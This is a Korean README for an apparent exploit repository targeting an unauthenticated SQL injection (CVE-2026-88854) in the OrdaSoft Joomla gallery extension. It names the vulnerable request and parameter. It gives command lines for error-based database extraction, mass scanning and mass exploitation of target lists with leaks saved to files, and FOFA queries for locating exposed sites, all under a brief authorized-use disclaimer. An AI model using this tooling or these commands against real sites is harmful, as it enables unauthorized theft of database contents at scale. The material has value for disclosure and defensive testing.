CVE-2026-88854 — OrdaSoft Joomla Gallery SQL 인젝션

Joomla용 OrdaSoft OS Responsive Image Gallery의 **CVE-2026-88854**에 대한 Python 3 PoC 스캐너/익스플로잇.

요약

showSearchResult() / showSearchResultAjax()는 $input->getVar()를 통해 textsearch / searchText를 읽으며, 이는 적절한 SQL 이스케이프를 적용하지 않습니다. 해당 값은 LIKE 절에 연결됩니다. 인증되지 않은 방문자는 UNION 스타일 인젝션을 사용하여 데이터베이스 내용을 읽을 수 있습니다.

일반적인 요청 표면:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

레거시 설치에서는 작업 이름 searhResult(오타)를 사용할 수 있습니다.

요구 사항

• Python 3.9+
• pip install -r requirements.txt

사용법

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLI 옵션

출력 (대량 검사)

일반적인 status 값 (check)

스캔 후 감사 (audit_scan.py)

대량 check 후 audit_scan.py를 실행하여 관리자 매니페스트를 다시 가져오고 대상을 분류합니다:

갤러리 버전은 Joomla extension version= 속성이 아니라 administrator/components/com_osgallery/osgallery.xml의 <version> 요소에서 읽습니다.

제한 사항

• Exploit 모드는 MySQL 오류 기반 EXTRACTVALUE를 사용합니다; MariaDB/Postgres, 오류 비활성화 또는 WAF는 CVE가 적용되더라도 유출이 없을 수 있습니다.
• 부울 길이 차이만으로는 확인된 SQLi로 간주되지 않습니다 (테스트에서 ModSecurity 406이 오탐을 유발했습니다).
• 매니페스트 버전 ≤ 6.2.6은 노출 기간을 나타내며, 모든 호스트에서 익스플로잇 가능한 SQLi를 보장하지 않습니다.
• 하위 디렉터리 Joomla 설치는 올바른 기본 URL이 필요합니다 (예: https://host/site).

FOFA / 탐지 힌트

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

저장소 구조

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

로컬 대상 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits*.txt, …)은 .gitignore에 있으며 커밋해서는 안 됩니다.

참고 자료

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

법적 고지

승인된 보안 테스트 전용입니다. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.